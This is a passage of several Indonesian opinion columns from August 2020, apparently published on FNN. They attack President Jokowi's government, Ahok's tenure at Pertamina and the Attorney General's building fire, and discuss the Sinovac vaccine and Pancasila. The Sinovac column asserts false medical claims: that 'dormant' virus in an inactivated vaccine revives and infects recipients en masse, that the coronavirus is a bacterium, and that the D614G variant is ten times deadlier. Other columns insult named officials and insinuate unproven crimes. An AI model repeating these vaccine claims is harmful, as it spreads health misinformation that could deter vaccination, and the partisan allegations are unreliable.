dengan satu kata dari presiden. Relasi sosial juga akan terguncang kencang hanya dengan satu kata presiden. Kekayaan negara dan aset perusahaan bisa turun ke dasar hanya dengan satu kata dari preiden. Hubungan dan diplomasi internasional bisa memburuk hanya dengan satu kata presiden. Presiden haruslah manusia paling cerdas di negara dalam penggunaan setiap penggal kata yang keluar dari mulutnya. Presiden jangan sampai asal bicara. Begitu aturan tidak tertulis yang mutlak untuk dipahami seorang presiden. Body language presiden itu punya makna sangat yang tinggi terhadap nasib rakyatnya. Kasian negara kalau presiden sampai asal-asalan. Presiden harus pandai menemukan pijakan faktual. Presiden juga harus, bahkan mutlak pandai merangkai fakta itu. Fakta yang telah dirangkai itu harus disajikan dengan kalimat yang tepat. Diksinya harus bernilai dan berkelas. Kalau presiden hendak mengeritik lawan-lawanya, pilihan diksinya yang harus menjelaskan kelasnya sebagai politisi top. Politisi kelas dunia. Bukan sebagai politisi yang abal-abal. Tak boleh membual, sekecil appun bualannya itu, dan dalam situasi apapun. Terlalu besar konsekuensinya. Bukan saja perkara bualannya itu, bisa menandai dirinya tak kompeten, tak bermutu, dan tak memiliki dari aspek kapasitas dan kapabilitas. Tetapi efeknya itu. Sangat bahaya bila presiden membual. Jangan, jangan itu terjadi. Kasian negara dan rakyat. Republik Melarang Menginginkan dengan sangat untuk meyakinkan sesuatu yang positif terjadi, tetapi dalam kenyataannya tidak terjadi, mungkin tidak dapat dinilai sebagai bualan. Menginginkan pertumbuhan ekonomi 7% dan kurs Rp 10.000 per dollar misalnya, tetapi dalam kenyataannya justru negatif sekian persen, mungkin juga tak bisa untuk sebagai disebut bualan. Berhasrat kuat mengubah pandemi corona menjadi peluang, dan melakukan lompatan jauh untuk menggenggam masa depan yang gemilang, itu hebat. Kalaupun dalam kenyataan, Indonesia hari ini sedang berupaya dan bekerja keras untuk mengimpor vaksin dari China, mungkin tak dapat dinilai sebagai bualan. Boleh jadi itu malah bagus. Itu malah dapat dilihat sebagai postur kongkrit tanggung jawab Presiden. Risikonya Indonesia jadi pasar vaksin China. Dan dalam skema itu Indonesia harus bayar patennya. Yang terakhir ini yang menjadi soal Pak Presiden. Sudah jadi pasar China, eh harus bayar pula patennya lagi. Tragis nasib bangsa ini. Bahwa korporasi-korporasi China mendapatkan untung. Itu memang logis. Negara itu memang menjadikan Marxisme sebagai fundasi politiknya, tetapi tidak untuk urusan untung. Urusan ini, China jagonya. Apa boleh buat. Toh Indonesia baru mampu menyerap anggaran penanganan Corona dan PEN tak lebih dari 45,69% dari pagu anggaran Corona dan PEN per 19 Agustus 2020. Sebagian PEN malah belum ada DIPA-nya (Lihat CNN Indonesia, 25/8/2020). Indonesia harus realistis. Juga harus bisa rendah diri. Ini memang bisa ditertawakan. Bahkan bisa diolok-olok, karena bertolak belakang dengan hasrat, entah serius atau tidak dari Presiden sendiri. Berhasrat mengubah tantangan pandemi ini menjadi kesempatan besar untuk meraih kemajuan, melakukan lompatan besar ke depan, tetapi jatuh di tengah keharusan mengimpor vaksin dari China. Apa boleh buat. Amerika yang top, jago dalam banyak hal, cemerlang dalam hal inovasi, sejauh ini belum menemukan vaksin anti corona. Apalagi Indonesia yang selalu kedodoran, tertatih-tatih dalam lomba inovasi. Ingat mobil Esemka? Mobil yang dipropagandakan sebagai mobil nasional itu, sejauh ini seperti barang bualan. China hebat, tanggap dan cekatan bergerak memenuhi kebutuhan Indonesia. China mungkin tahu Indonesia terkenal tahu diri. Harus selalu siap sedia menyediakan kebutuhan China. Indonesia akan cekatan menyediakan kebutuhan China untuk memperlancar investasinya. Presiden dan DPR sedang habis-habisan sediakan berbagai fasilitas investasi. Presiden dan DPR menyiapkan RUU Omnibus Cipta Kerja. Dalam RUU ini, telah disediakan pasal yang memberi kewenangan Presiden mengubah pasal-pasal dalam UU dengan Peraturan Pemerintah (PP). Itu ditulis dalam pasal 170 RUU Omnibus. Andai sukses, Presiden dan DPR secara bersama-sama membinasakan tatanan bernegara berdasarkan UUD 1945. Kelak presiden, siapapun orangnya, dengan pasal itu akan menjadi figur yang powerfull. Bahkan presiden dengan kewenangan baru itu, layak disamakan dengan raja-raja absolut abad ke-17. Apalagi bila partai-partai tetap mengelompok sedemikian rupa seperti saat ini. Partai saat telah menampilkan ciri layaknya partai tunggal. PKS dan Partai Demokrat, terbukti kalah canggih dari bekerjanya liberalisme ganas yang menghasilkan pengelompokan itu. Presiden memang tidak sedang membual dengan tekadnya menyajikan lingkungan persaingan terbuka dalam semua aspek. Tekad ini terlihat telah bekerja secara efektif. Semua orang bisa bersaing. Anaknya dan menantunya sendiri pun berhak bersaing menjadi calon walikota Solo dan Medan, kampung halamannya sendiri. Itu juga hebat. Tekad itu terlihat tak terkontrol. Pandangan itu mengandung bahaya ganas yang tersembunyi. Mengapa? UMKM, mau atau tidak, suka atau tidak, harus bersaing terbuka dengan korporasi. Ini bahaya tipikal kapitalisme yang ganas itu. Juga tak seirama dengan pasal 33 UUD 1945. Membahayakan demokrasi? Ya, untuk demokrasi Pancasila, bukan demokrasi liberal yang impor. Demokrasi liberal terlalu kaya dengan bualan-bualan, yang setiap aspeknya canggih. Penyesatan adalah salah satunya. Penyesatan itu bualan. Tetapi secanggih itu sekalipun demokrasi liberal, nurani republik melarang presiden, siapapun orangnya untuk membual. Penulis adalah Pengajar HTN Universitas Khairun Ternate

Kilometer 24 Itu Masih Sangat Jauh

by Asyari Usman Jakarta FNN - Rabu (26/08). Ada-ada saja. Dan cukup kreatif. Tahun 2024 disebut “Kilometer 24” (Km-24). Perjalanan politik dari sekarang sampai pilpres 2024 diibaratkan seperti menempuh jarak dengan sukatan kilometer (Km). Sebutan “Kilometer-24” dimunculkan dalam konteks masa jabatan kedua Presiden Joko Widodo (Jokowi) hingga 2024. Belakangan ini beredar teori-teori yang mempertanyakan tentang kemungkinan Jokowi bisa menyelesaikan jabatannya. Banyak yang ragu. Mengingat krisis ekonomi yang akan semakin parah. Dalam satu diskusi tak resmi belum lama ini di komplek restoran Nusa Dua, Senayan, seorang mantan anggota DPR-RI mengatakan, “Kilometer 24 itu masih sangat jauh. Belum tentu Jokowi bisa sampai ke sana.” Beliau kemudian melanjutkan, “Untuk apa bicara Km-24, sampai tahun depan saja berat.” Diskusi semakin panas. Tapi, panasnya hanya tinggi-tinggian suara saja. Bukan adu argumentasi. Semua yang ada di situ sepaham. Artinya, mereka yang duduk di “meja bundar” itu sama-sama yakin Jokowi akan menghadapi masalah besar. Masalah berat itu berpangkal dari resesi ekonomi. Pertumbuhan negatif besar. Bisa minus 10% atau lebih sebagaimana diprediksikan oleh para pakar ekonomi. Kemudian, pertumbuhan minus besar itu akan memuntahkan krisis multi-dimensi. Krisis politik adalah salah satu dimensi yang bisa membahayakan posisi Jokowi. Mengapa? Karena berbagai masalah krusial yang menumpuk di meja Presiden, bisa bergumpal menjadi kekuatan yang berpotensi menjatuhkan beliau. Krisis besar perekonomian hampir pasti akan melebar ke politik. Logis. Karena, rakyat yang dilanda masalah ekonomi akan langsung mempertanyakan kemampuan Presiden Jokowi memimpin negara. Rakyat akan mempersoalkan apakah Jokowi masih sanggup mengelola negara atau tidak. Kalau krisis ekonomi sangat dalam, maka aksi-aksi spontanitas rakyat otomatis akan diarahkan ke eksekutif tertinggi. Ada semacam “mosi tak percaya”. Dan itu semua tertuju ke Presiden. Begitulah karaterisik krisis ekonomi skala besar. Di mana pun juga. Tidak hanya di Indonesia. Para pemegang kekuasaan tertinggi akan selalu memikul tanggung jawab penuh dan tunggal. Perekonomian yang amburadul tidak mungkin disorot tanpa mengusik kepala pemerintahan. Kesalahan tidak bisa ditimpakan hanya kepada para menteri bidang perekonomian. Tidak cukup pula hanya diterapi dengan perombakan kabinet (reshuffle). Utang yang menumpuk, kebangkrutan bisnis di mana-mana, kesulitan lapangan kerja, pengangguran yang berlipat-lipat, ‘capital flight’ besar-besaran, dlsb, menunjukkan bahwa keseluruhan pemerintahan dililit masalah berat. Itu artinya ada persoalan besar dalam pengelolaan negara. Ada masalah kepemimpinan. Ada problem serius di tingkat eksekutif tertinggi. Mau tak mau posisi presiden atau perdana menteri disorot dari segala arah. Eksekutif tertinggi harus siap menghadapi kenyataan bahwa dirinya akan menjadi fokus sorotan kekuatan oposisi dan masyarakat sipil (civil society). Termasuk media mainstream yang independen. Kembali ke Indonesia, krisis politik yang bersumber dari krisis ekonomi biasanya akan sangat mudah berkobar menjadi besar. Apalagi, Presiden Jokowi sudah banyak menumpuk masalah. Akumulasi masalah itu pasti akan bergemuruh dalam proses fermentasinya. Dan tekanan di dalam akumulasi itu bisa sangat tinggi. Sebut saja beberapa ramuan yang menjadi beban Jokowi. Yaitu, janji-janji yang jauh dari terpenuhi. Kemudian, nepotisme yang cepat berkembang biak dan menjalar luas ke segala arah. Nepotisme itu antara lain tampak dari bagi-bagi jabatan komisaris BUMN kepada para komandan pendukung. Atau, alokasi posisi senior seperti wamen, dirjen, komisioner, dll. Juga nepotisme dalam bentuk ambisi anggota keluarga. Tumpukan masalah yang menggunung itulah yang diperkirakan oleh “para pakar” meja bundar Nusa Dua akan menyulitkan perjalanan Jokowi menuju Kilometer 24. Ibarat mengendara di jalan yang rusak berat. “Kilometer 24 itu masih jauh,” kata mantan anggota DPR mengulangi ucapannya. Dialah yang bertindak sebagai moderator dan ‘dominator’ diskusi.[] Penulis adalah Wartawan Senior FNN.CO.ID

Ahok Komut, Pertamina Untung Jadi Buntung

by Edy Mulyadi Jakarta FNN - Rabu (26/08). Sepanjang semester 1-2020 Pertamina mencatat rugi bersih Rp11,3 triliun. Padahal pada periode yang sama tahun sebelumnya, BUMN ini meraup laba Rp38,5 triliun. Ini terjadi ketika Ahok didapuk menjadi Komut Pertamina. Padahal, waktu mengangkat Si Mulut Jamban ini, Eric Tohir mengatakan Ahok ditugaskan untuk mendobrak dan menyikat mafia migas. Dia juga diharapkan bisa mempercepat pembangunan kilang. Sampai kini, publik tidak mendengar ada satu pun mafia migas yang diberangus. Soal pembangunan kilang, setali tiga uang pula. Jangankan dibangun, kabarnya sayup-sayup pun tak terdengar. Soal Ahok yang tegas dan berani, itu hanya mitos yang dibangunnya dengan media. Yang benar, manusia ini hobi marah-marah dan membentak-bentak. Mulutnya kasar. Ucapannya kotor hingga dia juluki Si Mulut Jamban. Di awal penugasannya, Ahok sesumbar, bahwa merem saja Pertamina bisa untung. Tapi memang harus diawasi. Dengan arogan dia juga mengklaim, penugasannya itu untuk mengembalikan uang Pertamina. Kini faktanya dia justru membuat Pertamina kehilangan uang. Soal memperbaiki kinerja keuangan Pertamina, alih-alih mempertahankan apalagi meningkatkan laba, yang terjadi justru Pertamina dihantam rugi sangat besar, Rp11,3 triliun. Jangan jadikan pandemi Covid-19, situasi global atau yang lainnya sebagai dalih untuk menutupi kelemahan dan ketidakbecusan. Banyak perusahaan minyak dunia lainnya masih bisa memetik untung, kok. Sebut saja, Sinopec Cina. Labanya justru naik dari 14,76 miliar yuan jadi 19,78 miliar yuan. Lalu, Shell Belanda. Labanya memang turun dari US$3,5 miliar, tapi tetap masih untung US$2,9 miliar. Bahkan Petronas, juga masih mencetak laba US$4,5 miliar, walau turun dari Laba US$14,2. Jadi, tidak perlu mencari-cari justifikasi untuk menutupi ketidakmampuan. Apalagi, selama berbulan-bulan harga minyak dunia anjlok, Pertamina tetap menjual BBM di dalam negeri dengan harga tinggi. Sebaliknya di banyak negara lain, harga jual BBM mereka di pasar lokal dipangkas gila-gilaan. Di Malaysia, harga BBM selevel Pertamax cuma dibanderol Rp4.250/liter. Di AS, BBM setara premium cuma dijual Rp2.500/liter. Berbekal serenceng fakta tersebut, Ahok sama sekali tidak layak menjadi Komut Pertamina. Terlebih lagi rekam jejaknya selama di DKI amat buruk. Dia diduga kuat terlibat sejumlah kasus korupsi senilai ratusan miliar. Skandal Bus Trans Jakarta, RS Sumber Waras, pembelian lahan milik DKI di Cengkareng, dan lainnya. Silakan baca buku _Korupsi Ahok_ karya Marwan Batubara. Jangan berdalih, korupsinya tidak terbukti di hadapan hukum. Bagaimana mau diadili dan terbukti, jika dipanggil untuk diperiksa saja tidak?! Bukan rahasia bahwa kejahatan manusia ini dilindungi kekuasaan. Eric Tohir harus bertanggungjawab. Dia musti segera mencopot Ahok. Eric tidak boleh membuat BUMN, apalagi Pertamina, makin babak-belur dan akhirnya hancur-lebur. Penulis adalah Presidium Aliansi Selamatkan Merah Putih (ASMaPi)

Kejaksaan Agung: Kebakaran yang Ideal dan Sempurna

by Asyari Usman Jakarta FNN - Selasa (25/08). Sabtu malam Minggu, jam 19.10. Hari libur. Dan dalam suasana Covid-19. Hampir pasti tidak ada yang bekerja. Pada saat itulah kebakaran dahsyat melenyapkan gedung Kejaksaan Agung. Inilah kebakaran yang ‘ideal’ dan ‘sempurna’. Ideal, dalam arti tidak ada korban jiwa. Yang korban ‘hanya’ berkas-berkas perkara saja. Sehebat apa pun berkas perkara itu akan dianggap ‘tak penting’ dibanding korban jiwa. Sempurna, dalam arti kobaran api leluasa merambat ke segala penjuru. Memangsa semua yang “diinginkan” api. Sempurna, juga dalam arti gedung yang ‘penuh kenangan indah’ bagi para VIP yang sering nongkrong dan berbagi macam-macam hal di situ, kini hanya tinggal tulang-belulang. Alhamdulillah, tidak ada korban nyawa dalam peristiwa 22 Agustus 2020 itu. Syukur sekali, Allah SWT “pilihkan” itu terjadi pada hari Sabtu. Bukan hari kerja. Kalau pun ada yang masuk, tentu tidak banyak. Andaikata ada yang masuk kerja Sabtu pagi itu, diperkirakan mereka sudah pulang semua sebelum malam tiba. Apalagi, Jakarta masih bergelut dengan Covid-19. Pastilah protokol ketat berlaku juga di Kejaksaan Agung. Hebat sekali “pilihan” Tuhan itu. Bayangkan kalau kebakaran terjadi pada hari kerja dan siang hari pula. Selasa atau Jumat, misalnya. Mungkin ratusan orang ada di gedung itu. Besar kemungkinan ada korban jiwa. Sangat menarik untuk merenungkan “pilihan” Tuhan ini. Pada hari Sabtu malam kebakaran dahsyat itu berkecamuk. Boleh jadi, libur itu menyebabkan tidak banyak ‘property’ penting Kejaksaan yang bisa diselamatkan. Kabarnya, memang tidak ada yang terselamatkan atau diselamatkan. Para penguasa Kejaksaan pantas bersyukur tak putus-putus karena kebakaran itu “dituliskan” Allah terjadi di hari libur. Luar biasa ‘kasih sayang’ Allah kepada orang-orang Kejaksaan Agung. Allah turunkan musibah itu ketika semua pegawai, tinggi dan rendah, tidak masuk kerja. Tidak salah kalau dikatakan ‘doa’ para petinggi Kejaksaan selalu didengar. Mungkin juga doa mustajab orang-orang yang ‘terzolimi’. Misalnya, orang seperti Tuan Joko Tjandra. Beliau ini bisa disebut sebagai orang yang ‘terzolimi’. Mengapa? Karena Tuan Joko terkenal sangat baik. Pemurah. Dermawan. Suka dan cepat bagi-bagi rezeki. Tapi, tiba-tiba sekarang dia ‘dimusuhi’ oleh orang-orang yang dekat dengannya. Dijebloskan ke penjara. Cuma, memang perlu dikorfirmasikan dulu apakah dia benar mendekam di penjara. Ketika perkara si Tuan mau dibongkar habis dan dia dimasukkan ke tahanan, tentu itu termasuk bentuk penzoliman kepada JT. Barangkali saja beliu berdoa agar ‘kasus zolim’ itu bisa lenyap. Benar saja. Kasus Tuan Joko dilenyapkan pada hari Sabtu. Tanpa korban jiwa. Sekarang, kita menunggu hasil investigasi Pak Polisi. Untuk membuktikan apakah musibah di Kejaksaan Agung itu kebakaran ‘pilihan’ Tuhan. Ataukah mirip cerita-cerita Bollywood yang selalu serba kebetulan. Selalu rapi, timely, dan dengan presisi yang tinggi. Ingat, jangan berspekulasi. Curiga dan menduga tentu boleh-boleh saja. Dilindungi oleh UU. Tapi, lebih baik Polisi kita beri kesempatan untuk mendalami kebakaran yang ‘tematis’ dan ‘sistematis’ itu.[] Penulis adalah Wartawan Senior FNN.CO.ID

Sinovac, Vaksin Merdeka yang Tidak Merdeka!

by Mochamad Toha Jakarta FNN - Selasa (25/08). “Vaksin Merdeka”. Begitu judul tulisan Dahlan Iskan (DI) di Disway.id, Minggu (23 August 2020). Berita baik minggu ini datang dari Hainan. Menteri BUMN Erick Thohir dan Menlu Retno L.P. Marsudi terbang ke kota Sanya. Itulah 'Pantai Kuta'-nya pulau Hainan. Di situ mereka bertemu Menlu Tiongkok Wan Yi. Perjanjian awal pun ditandatangani: Indonesia bisa membeli 50 juta ampul vaksin Covid-19 dari Sinovac pada Januari 2021. Memang, berita media tidak rinci: apa yang disebut membeli 50 juta ampul itu. Bukankah Bio Farma Bandung bisa memproduksi sendiri – berdasar perjanjian dagang antara Sinovac dengan Bio Farma. Kemungkinan Indonesia ingin lebih cepat mendapat vaksin itu. Tanpa menunggu Bio Farma. “Yang baru bisa berproduksi setelah hasil tes klinis tahap 3 disahkan BPOM,” tulis Mas DI. Mas DI menyebutkan, di Tiongkok (China) uji klinis tahap 3 itu sudah dilakukan lebih dulu. Tiongkok sudah bisa memproduksinya lebih awal. Ketika yang 50 juta itu habis dipakai tepat ketika Bio Farma sudah diizinkan mulai memproduksi. “Saya memperkirakan seperti itu,” tulisnya. Kemungkinan lain, lanjut Mas DI, selama ini uji klinis tahap 3 di Bandung tersebut belum disertai perjanjian dagangnya. Maka di pertemuan Hainan itulah Bio Farma mulai mendapat hak memproduksi 50 juta. Juta-juta berikutnya akan dibicarakan kemudian. “Terutama berapa yen yang harus dibayar Bio Farma ke Sinovac untuk setiap satu juta ampulnya. Kemungkinan yang mana pun tidak ada masalah. Saya anggap itu sebagai langkah cepat yang harus dilakukan,” lanjutnya. “Ups.... Akhirnya saya mendapat konfirmasi dari Bio Farma. Kemarin. Ternyata kemungkinan pertama itu yang benar. Pembelian 50 juta unit itu semata-mata karena di sana sudah boleh diproduksi,” ungkap Mas DI. Sedang untuk bisa produksi di Indonesia masih harus menunggu hasil uji klinis tahap 3 yang di Bandung itu. Juga masih harus menunggu izin edar dari BPOM. Berarti akan ada kiriman 50 juta unit vaksin langsung dari Tiongkok. Kiriman itu, menurut Iwan Setiawan, dalam bentuk bulk. Bukan dalam bentuk botol-botol kecil. Iwan adalah Kepala Departemen Komunikasi Bio Farma. Kiriman itu dilakukan secara bertahap mulai tiga bulan lagi. “Di November 10 juta unit. Desember 10 juta. Januari, Februari dan Maret masing-masing 10 juta,” ujar Iwan. Setelah vaksin itu tiba di Bandung, Bio Farma melakukan pembotolan dan seterusnya. “Jadi akan ada untuk komponen dalam negerinya,” ujar Iwan. Bio Farma, baru akan memproduksi sendiri setelah uji klinik tahap 3 selesai dievaluasi dan dinyatakan berhasil. “Maka membeli dulu dari Tiongkok itu saya anggap langkah yang sigap. Saya salut tim Erick Thohir mampu menemukan jalan kuda itu. Dirut Bio Farma Honesti Basyir sampai hari ini masih di Tiongkok. Untuk bisa bertemu langsung Sinovac di tengah pandemi,” tulis Mas DI. Pertemuan dua menteri Indonesia dengan Menlu Tiongkok sendiri memilih tempat di Hainan. Pilihan yang tepat. Hainan hanya 3,5 jam terbang langsung dari Jakarta. Dengan pesawat carter. Mereka bisa langsung balik ke Jakarta hari itu juga. Tanpa harus bermalam di sana. Mas DI pun memuji Erick Thohir. “Gerak cepat itu memang menjadi ciri khas orang seperti Erick Thohir. Apalagi pemerintah sudah menargetkan pertumbuhan ekonomi tahun depan antara 4,5 sampai 5 persen. “Angka yang sangat optimistis. Saya sampai terkaget-kaget. Berarti prioritas vaksinasi nanti harus dikaitkan dengan sektor-sektor ekonomi: para karyawan pabrik, para pramugari dan awak angkutan, komunitas pasar, dan seterusnya,” ungkapnya. Siapa pun yang diprioritaskan tetap saja baik untuk semua. Dengan 40 juta orang yang akan divaksinasi berarti potensi penularannya juga turun.Sejauh ini isu negatif yang sempat ramai sudah reda. Tidak ada lagi isu halal-haram. Tanpa harus terjadi caci-maki. Mas DI juga mengungkapkan Gubernur Jawa Barat Ridwan Kamil bersama Pangdam Siliwangi dan Kapolda Jabar telah mendaftar sebagai Relawan Uji Klinis Tahap III di Bandung pada Selasa, 25 Agustus 2020. Gubernur yang akrab dipanggil Kang Emil itu merasa sudah mendapat penjelasan lengkap mengenai konsekuensi menjadi relawan. Termasuk harus menjalani dua kali suntikan. Ia merasa aman-aman saja. Kenapa harus dua kali? “Karena vaksin ini bukan dari virus Covid-19 yang dilemahkan, tapi dari virus yang dimatikan,” katanya. Itulah penjelasan yang ia terima. Maksudnya: vaksin ini lebih aman. Sejauh ini di Tiongkok sendiri belum ditemukan efek negatif dari vaksin ini. Berarti nantinya Bio Farma harus memproduksi 2 kali lebih banyak dari jumlah orang yang harus divaksinasi. Kalau pun Erick kini juga lagi bicara dengan dua perusahaan vaksin Tiongkok lainnya, bukan berarti meragukan Sinovac. Itu semata-mata melihat kemampuan produksi pabrik vaksin. Yang tidak akan sebesar keperluan seluruh dunia. Bio Farma bukan baru sekali ini bekerjasama dengan Sinovac. Di program vaksinasi polio, misalnya, Bio Farma juga bekerjasama dengan Sinovac. Saham Sinovac, yang sudah lama go public di pasar modal Nasdaq New York, mengalami kenaikan besar bukan di vaksin Covid-19 ini, tapi saat mulai memproduksi vaksin hepatitis A dan B dulu. Sedang nama Bio Farma ngetop saat memproduksi vaksin flu burung. Kini semua orang memang menunggu vaksin Covid-19 itu. Apalagi kalau melihat berita Harian DI's Way kemarin: kini di Beijing tidak wajib lagi pakai masker. Rasanya di bulan Agustus ini justru orang Beijing yang merdeka. Apa yang dinyatakan Mas DI dalam penutup tulisannya itu memang benar. Vaksin Merdeka lebih tepat untuk China. Tapi, Vaksin Merdeka yang Belum Merdeka itu untuk Indonesia. Itu fakta yang sebenarnya! *Belum Aman!* Jika memang Vaksin Sinovac yang siap Uji Klinis di Indonesia itu dari Virus Corona yang sudah “dilemahkan atau dimatikan”, itu sama saja dengan China sedang menginfeksi rakyat Indonesia dengan Covid-19 secara massal. Sebab, diantara virus yang “dimatikan” itu, dipastikan ada yang dorman (tidur). Nah, yang dorman dan dikira mati itulah pada saat atau dengan suhu tertentu akan hidup lagi! Ingat! Virus atau bakteri corona itu mahluk hidup yang cerdas! Misalnya, bila virus corona dihantam desinfektan chemikal (kimia), maka asumsi umumnya mereka mati. Tapi, ternyata saat ini mutasi corona sampai di atas 500 karakter atau varian. Ternyata, karena gennya bermutasi, mutannya ada yang “bersifat” tidak hanya ke reseptor ACE2 (Angiotensin Converting Enzyme 2) saja, tetapi langsung menginfeksi sel-sel saraf. Manifesnya bisa meningitis (contoh kasus artis Glen Fredly kemarin). Ada juga yang langsung berikatan atau nempel di sel-sel darah merah, sehingga manifestasi klinisnya seperti DB, tapi setelah dites PCR: positif. Ini banyak ditemukan di pasien-pasien anak di rumah sakit. Itu adalah fakta klinis yang ditemukan di rumah sakit. Jadi, Covid-19 itu tidak hanya menginfeksi di saluran pernapasan seperti yang selama ini beredar! Perlu diingat, Covid-19 itu terjadi dan meledak sekitar 5-6 bulan lalu. Padahal, kalau tidak salah, fase membuat vaksin itu butuh waktu 12-18 bulan. Dari mana specimen virusnya itu diperoleh? Karena, kabarnya, basic dari vaksin ini adalah kasus SARS-Corona 5 tahun yang lalu, bukan Covid-19 ini. Apakah efektif untuk Covid-19? Bagaimana pula kalau sekarang ini varian baru yang telah ditemukan di Malaysia, Thailand, Philipina, yang kemampuannya 10 kali lebih mematikan dibanding Covid-19? Terutama mampu menyerang saluran pencernaan dan syaraf. Varian baru itu diberi Kode D614G. Penulis adalah Wartawan Senior FNN.CO.ID

Berharap Jokowi Jadi Negarawan Penyelamat NKRI

by Dr. Masri Sitanggang Jakarta FNN – Rabu (25/08). Ini Persoalan yang sangat serius. Jokowi kemungkinan akan menghadapi dua keadan yang sangat tidak mengenakkan. Tetapi, Jokowi bisa dikenang sebagai negarawan yang menjadi teladan generasi mendatang. Pikiranku masih saja terganggu. Penilaian Koalisi Aksi Menyelamatkan Indonesia (KAMI), bahwa kehidupan bangsa dan negara sudah menyimpang dari tujuan dibentuknya republik ini. Penyimpangan ini sesuatu yang sangat serius. Tidak bisa dipandang enteng alias sebelah mata. Sebab, ini berarti penyelenggara negara telah menyimpang dari Falsafah Negara, menyeleweng dari Pancasila. Berulang kali KAMI dalam maklumatnya, baik secara eksplisit maupun implisit, menuntut penyelengara negara, khususnya pemerintah, DPR, DPD, dan MPR untuk mengembalikan penyelenggaraan dan pengelolaan negara pada Pancasila dan Undang Undang Dasar 1945 sesuai Dekrit 5 Juli 1959. Khusus kepada Presiden, KAMI menuntut untuk bertanggungjawab sesuai dengan sumpah dan janji jabatannya. Mengelola negara meyimpang dari Pancasila? Itu adalah pengingkaran terhadap sumpah dan janji jabatan. Itu melalaikan kewajiban, melalaikan amanah rakyat atau dalam istilah agama disebut sebagai khianat. Itu betul-betul persoalan serius. Bicara Pancasila dalam konteks Negara Kesatuan Republik Indonesia (NKRI). Bukan Republik Indonesia. Bukan pula Republik Indonesia Serikat. Haruslah merujuk pada pembukaan UUD 1945 yang dijiwai oleh Piagam Jakarta tertanggal 22 Juni 1945 sebagaimana Dekrit Presiden 5 Juli 1959. Bukan Pancasila lain, apalagi Pancasila 1 Juni 1945. Mengelola negara berdasarkan Pancasila yang bukan Pancasila Dekrit Presiden 5 Juli 1959 adalah penyelewengan, penghianatan terhadap rakyat dan konstitusi. Mari kita simak ulang aline ke empat Pembukaan UUD 1945 ini. “Kemudian dari pada itu, untuk membentuk suatu Pemerintah Negara Indonesia yang melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia, dan untuk memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, dan ikut melaksanakan ketertiban dunia, yang berdasarkan kemerdekaan, perdamaian abadi dan keadilan sosial, maka disusunlah Kemerdekaan Kebangsaan Indonesia itu dalam suatu Undang-Undang Dasar Negara Indonesia, yang terbentuk dalam suatu susunan Negara Republik Indonesia yang berkedaulatan Rakyat dengan berdasarkan kepada : Ketuhanan Yang Maha Esa, Kemanusiaan yang adil dan beradab, Persatuan Indonesia, dan Kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan/perwakilan, serta dengan mewujudkan suatu keadilan sosial bagi seluruh rakyat Indonesia”. “Sila-sila Pancasila” dalam alenia ke empat itu sesungguhnya adalah merupakan landasan negara untuk menjadi pedoman pemerintah menunaikan fungsinya, yakni melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia, dan untuk memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, dan ikut melaksanakan ketertiban dunia, yang berdasarkan kemerdekaan, perdamaian abadi dan keadilan sosial. Jadi, Pancasila itu adalah amanah rakyat kepada negara untuk dilaksanakan pemerintah dalam upaya mencapai tujuan dibentuknya negara. Ini harus digaris bawahi. Dalam kata lain, pemerintah berkewajiban melaksanakan Pancasila. Ada pun rakyat, sebagai pemberi amanah, adalah mereka yang harus menerima manfaat dari hasil kerja pemerintah mengelola negara sesuai dengan Pancasila. Hal ini dipertegas oleh anak kalimat terakhir dari alenia ke 4 itu, yakni : ”...serta dengan mewujudkan suatu keadilan sosia bagi seluruh rakyat Indonesia.” Mewujudkan keadilan sosial bagi seluruh rakyat Indonesia, tentulah tugas Pemerintah Indonesia. Bukan rakyatnya. Rakyat, malah sebaliknya, berwenang mengawasi pemerintah dalam melaksanakan Pancasila. Lain dari itu, tanda baca “koma” di antara sila-sila Pancasila, juga kata sambung “dan” setelah Persatuan Indonesia dan “serta” sebelum sila “dengan mewujudkan keadilan sosial bagi seluruh Rakyat Indonesia” menunjukan Pancasila adalah satu kesatuan yang tidak dapat dipisahlkan. Dengan demikian, upaya memeras Pancasila menjadi Trisila dan Ekasila adalah suatu yang terlarang dan adalah merupakan upaya merongrong Pancasila itu sendiri. Ini pula yang membedakannya dengan Pancasila 1 Juni 1945 (Pancasila rumusan pribadi Soekarno). Bagi rakyat, alat ukur untuk menilai apakah pemerintah sedang menjalankan pemerintahan berdasarkan Pancasila atau tidak, sederhana saja, yakni apakah rakyat mendapatkan hak-haknya. Kembali merujuk alenia ke empat, hak-hak utama rakyat adalah mendapatkan perlindungan dari negara. Mendapat kesejahteraan, mendapat pendidikan, mendapat keadilan sosial (termasuk berserikat dan mengeluarkan pendapat di muka umum) dan bebas menjalankan agama yang diyakininya. Jika rakyat merasa semua terpenuhi, berarti pemerintahan sudah on the tract. Tetapi kalau tidak, berarti terjadi penyimpangan. Begitu pulalah KAMI menilai jalannya pemerintahan akhir-akhir ini. Kesimpulan KAMI, Pengelola Negara telah menyeleweng dari Pancasila. Dalam konteks RUU HIP dan RUU BPIP, pengelola negara bukan saja tidak menjalankan Pancasila. Dengan RUU HIP, DPR bahkan ingin mengganti pancasila Dekrit Presiden 5 Juli 1959 dengan Pancasila rumusan Pribadi Soekarno. Menurut KAMI, ini adalah upaya nyata untuk meruntuhkan NKRI. Sementara RUU BIP dapat dipandang sebagai keinginan pemerintah untuk mengambil alih kewenangan rakyat sebagai pemberi mandat kepada pemerintah berupa Pancasila. Pemerintah ingin membentuk lembaga (pengganti rakyat) penafsir tunggal yang sah tentang mandat rakyat (Pancasila) itu. Maka, dengan ini rakyat bukan lagi menjadi pengawas pemerintah dalam menjalankan Pancasila, tetapi sebaliknya akan diawasi oleh pemerintah dengan Pancasila. Keadaannya menjadi terbalik, seolah-olah rakyatlah yang wajib menjalankan Pancasila. Pancasila menjadi alat pemukul bagi pemerintah terhadap rakyatnya ! Ngeri, akan berapa banyak lagi korban berjatuhan ? Memperhatikan betapa dahsyatnya kerusakan dalam kehidupan berbangsa dan bernegara, yang akan ditimbulkan oleh RUU HIP dan RUU BIP, itulah maka KAMI secara khusus menuntut yang berkenaan dengan kedua RUU ini. Tuntutannya adalah, agar pemerintah mengusut secara sungguh-sungguh dan tuntas pihak-pihak yang berupaya melalui jalur konstitusi mengubah Dasar Negara Pancasila. Tetapi, persoalan besarnya adalah bagaimana tindak lanjut dari penyelewengan 